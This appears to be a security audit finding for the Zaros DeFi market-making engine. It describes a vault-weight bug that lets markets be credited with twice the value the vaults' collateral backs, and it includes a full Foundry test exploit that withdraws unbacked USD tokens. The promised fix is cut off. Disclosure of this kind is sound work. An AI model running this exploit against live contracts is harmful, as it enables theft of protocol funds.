Incorrect vault's weight update can cause market's total delegated credit usd is more than what's backed by connected vaults' collateral assets, leading overwithdrawal of usd token from market.
Thus, in 2x2 connection scenario, the sum of total delegated credit usd will be two times of vault's credit capacity.
This inconsistency will lead to incorrect important calculations and also to overwithdrwal of usd token, more than vaults collateral backed amount.
The following PoC demonstrates the above scenario. Sum of total delegated credit of two markets is 4000 USD, where sum of two vaults collateral asset value is only 2000 USD.
import { IMarketMakingEngine } from "@zaros/market-making/MarketMakingEngine.sol";
import { ZlpVault } from "@zaros/zlp/ZlpVault.sol";
import { Vault } from "@zaros/market-making/leaves/Vault.sol";
import { Market } from "@zaros/market-making/leaves/Market.sol";
import { CreditDelegation } from "@zaros/market-making/leaves/CreditDelegation.sol";
import { Distribution } from "@zaros/market-making/leaves/Distribution.sol";
import { MarketMakingEngineConfiguration } from "@zaros/market-making/leaves/MarketMakingEngineConfiguration.sol";
import { LiveMarkets } from "@zaros/market-making/leaves/LiveMarkets.sol";
import { Collateral } from "@zaros/market-making/leaves/Collateral.sol";
import { DexSwapStrategy } from "@zaros/market-making/leaves/DexSwapStrategy.sol";
import { UniswapV3Adapter } from "@zaros/utils/dex-adapters/UniswapV3Adapter.sol";
import { UD60x18, ud60x18 } from "@prb-math/UD60x18.sol";
import { SD59x18, sd59x18 } from "@prb-math/SD59x18.sol";
import { Constants } from "@zaros/utils/Constants.sol";
import { SafeCast } from "@openzeppelin/utils/math/SafeCast.sol";
import { EnumerableMap } from "@openzeppelin/utils/structs/EnumerableMap.sol";
import { EnumerableSet } from "@openzeppelin/utils/structs/EnumerableSet.sol";
import { IERC4626 } from "@openzeppelin/token/ERC20/extensions/ERC4626.sol";
import { IERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";
import { Errors } from "@zaros/utils/Errors.sol";
import { MockUniswapV3SwapStrategyRouter } from "test/mocks/MockUniswapV3SwapStrategyRouter.sol";
import { ERC20Mock } from "@openzeppelin/mocks/token/ERC20Mock.sol";
import "forge-std/Test.sol";
uint256 constant DEFAULT_DECIMAL = 18;
contract MockAsset is ERC20Mock { }
contract MockUSDT is ERC20Mock { }
contract MockUSDC is ERC20Mock { }
contract MockWeth is ERC20Mock { }
contract MockZlpVault is ZlpVault {
bytes32 private constant ZLP_VAULT_STORAGE_LOCATION =
keccak256(abi.encode(uint256(keccak256("openzeppelin.storage.ZlpVault")) - 1)) & ~bytes32(uint256(0xff));
bytes32 private constant ERC4626StorageLocation =
0x0773e532dfede91f04b12a73d3d2acd361424f41f76b4fb79f090161e36b4e00;
function _getZlpVaultStorageOverride() private pure returns (ZlpVaultStorage storage zlpVaultStorage) {
bytes32 slot = ZLP_VAULT_STORAGE_LOCATION;
assembly {
zlpVaultStorage.slot := slot
}
}
function _getERC4626StorageOverride() private pure returns (ERC4626Storage storage $) {
assembly {
$.slot := ERC4626StorageLocation
}
}
constructor(uint128 vaultId, address asset_) {
ZlpVaultStorage storage zlpVaultStorage = _getZlpVaultStorageOverride();
zlpVaultStorage.marketMakingEngine = msg.sender;
zlpVaultStorage.vaultId = vaultId;
ERC4626Storage storage $ = _getERC4626StorageOverride();
$._asset = IERC20(asset_);
$._underlyingDecimals = uint8(DEFAULT_DECIMAL);
}
}
contract MockPriceAdapter {
function getPrice() external pure returns (uint256) {
return 10 ** DEFAULT_DECIMAL;
}
}
contract MockEngine {
function getUnrealizedDebt(uint128) external pure returns (int256) {
return 0;
}
}
contract WithdrawUsdTokenTest is Test, IMarketMakingEngine {
using Vault for Vault.Data;
using Market for Market.Data;
using CreditDelegation for CreditDelegation.Data;
using Collateral for Collateral.Data;
using SafeCast for uint256;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.AddressToUintMap;
using LiveMarkets for LiveMarkets.Data;
using MarketMakingEngineConfiguration for MarketMakingEngineConfiguration.Data;
using Distribution for Distribution.Data;
using DexSwapStrategy for DexSwapStrategy.Data;
uint128 dexSwapStrategyId = 1;
MockAsset asset;
MockEngine mockEngine;
MockUSDT mockUsdt;
MockUSDC mockUsdc;
MockWeth mockWeth;
UniswapV3Adapter dexAdapter;
MockPriceAdapter priceAdapter;
uint256 userAssetAmount = 1000 * (10 ** DEFAULT_DECIMAL);
uint256 totalAssetAmount;
uint256 creditRatio = 10 ** DEFAULT_DECIMAL;
uint256[] marketIds = new uint256[](2);
uint256[] vaultIds = new uint256[](2);
address user = makeAddr("alice");
function setUp() external {
asset = new MockAsset();
priceAdapter = new MockPriceAdapter();
mockEngine = new MockEngine();
mockUsdt = new MockUSDT();
mockUsdc = new MockUSDC();
mockWeth = new MockWeth();
MarketMakingEngineConfiguration.Data storage configuration = MarketMakingEngineConfiguration.load();
configuration.weth = address(mockWeth);
configuration.usdc = address(mockUsdc);
configuration.isRegisteredEngine[address(mockEngine)] = true;
configuration.usdTokenOfEngine[address(mockEngine)] = address(mockUsdt);
configuration.isSystemKeeperEnabled[address(this)] = true;
marketIds[0] = 1;
marketIds[1] = 2;
vaultIds[0] = 1;
vaultIds[1] = 2;
LiveMarkets.Data storage liveMarkets = LiveMarkets.load();
_setUpCollaterals();
for (uint256 i; i < marketIds.length; i++) {
uint128 marketId = uint128(marketIds[i]);
Market.Data storage market = Market.load(marketId);
market.id = marketId;
market.engine = address(mockEngine);
market.autoDeleverageEndThreshold = uint128(10 ** DEFAULT_DECIMAL);
liveMarkets.addMarket(marketId);
}
for (uint256 i; i < vaultIds.length; i++) {
uint128 vaultId = uint128(vaultIds[i]);
MockZlpVault indexToken = new MockZlpVault(vaultId, address(asset));
Vault.Data storage vault = Vault.load(vaultId);
vault.id = vaultId;
vault.isLive = true;
vault.indexToken = address(indexToken);
vault.depositCap = type(uint128).max;
vault.collateral.decimals = uint8(DEFAULT_DECIMAL);
vault.collateral.priceAdapter = address(priceAdapter);
vault.collateral.creditRatio = creditRatio;
vault.collateral.asset = address(asset);
vault.collateral.isEnabled = true;
vm.startPrank(user);
asset.mint(user, userAssetAmount);
asset.approve(address(this), userAssetAmount);
IMarketMakingEngine(address(this)).deposit(vaultId, uint128(userAssetAmount), 0, "", false);
totalAssetAmount += userAssetAmount;
vm.stopPrank();
}
_connectVaultsAndMarkets();
}
function testWithdrawMoreThanBacked() external {
_recalculateVaultsCreditCapacity();
uint256 totalDelegatedCreditUsd;
for (uint256 i; i < marketIds.length; i++) {
Market.Data storage market = Market.load(uint128(marketIds[i]));
totalDelegatedCreditUsd += uint256(market.totalDelegatedCreditUsd);
}
assertEq(totalDelegatedCreditUsd, 2 * totalAssetAmount);
vm.startPrank(address(mockEngine));
for (uint256 i; i < marketIds.length; i++) {
Market.Data storage market = Market.load(uint128(marketIds[i]));
SD59x18 marketTotalDebtUsdX18 = market.getTotalDebt();
UD60x18 delegatedCreditUsdX18 = market.getTotalDelegatedCreditUsd();
IMarketMakingEngine(address(this)).withdrawUsdTokenFromMarket(uint128(marketIds[i]), 2 * userAssetAmount);
}
vm.stopPrank();
assertEq(mockUsdt.balanceOf(address(mockEngine)), 2 * totalAssetAmount);
}
function _recalculateVaultsCreditCapacity() internal {
for (uint256 i; i < marketIds.length; i++) {
IMarketMakingEngine(address(this)).updateMarketCreditDelegations(uint128(marketIds[i]));
}
}
function _connectVaultsAndMarkets() internal {
uint256[] memory _marketIds = marketIds;
uint256[] memory _vaultIds = vaultIds;
vm.startPrank(address(0));
IMarketMakingEngine(address(this)).connectVaultsAndMarkets(marketIds, _vaultIds);
vm.stopPrank();
}
function _setUpCollaterals() internal {
address[] memory collaterals = new address[](4);
collaterals[0] = address(asset);
collaterals[1] = address(mockUsdt);
collaterals[2] = address(mockUsdc);
collaterals[3] = address(mockWeth);
for (uint256 i; i < collaterals.length; i++) {
address collateralAddr = collaterals[i];
Collateral.Data storage collateral = Collateral.load(address(collateralAddr));
collateral.isEnabled = true;
collateral.priceAdapter = address(priceAdapter);
collateral.creditRatio = creditRatio;
collateral.decimals = uint8(DEFAULT_DECIMAL);
}
}
}
Consider applying the following change when updating vault and credit deposits' weights: